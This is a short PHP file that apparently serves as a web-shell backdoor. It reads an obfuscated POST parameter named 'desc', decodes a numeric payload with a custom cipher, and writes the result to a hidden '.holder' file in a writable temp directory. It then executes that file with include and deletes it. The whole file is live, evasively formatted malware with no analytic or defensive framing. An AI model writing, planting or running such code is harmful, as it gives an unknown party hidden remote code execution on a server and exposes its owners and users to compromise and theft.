<?php

if(filter_has_var(INPUT_POST, "des\x63")){
	$binding = array_filter(["/tmp", getcwd(), session_save_path(), getenv("TMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir()]);
	$entity = $_POST["des\x63"];
	  	$entity =	explode	 	( 	"."  	,  $entity	) 	 ;  
	$fac=		'';
            $s3=		'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=		strlen($s3);
            $v=		0;
    
            array_walk($entity, function ($v1) use (&$fac, &$v, $s3, $sLen) {
                $chS=		ord($s3[$v % $sLen]);
                $d=		((int)$v1 - $chS - ($v % 10)) ^ 1;
                $fac .= chr($d);
                $v++;		} );
	$itm = 0;
do {
    $rec = $binding[$itm] ?? null;
    if ($itm >= count($binding)) break;
    		if ((bool)is_dir($rec) && (bool)is_writable($rec)) {
    $flag = join("/", [$rec, ".holder"]);
    if (file_put_contents($flag, $fac)) {
	include $flag;
	@unlink($flag);
	exit;
}
}
    $itm++;
} while (true);
}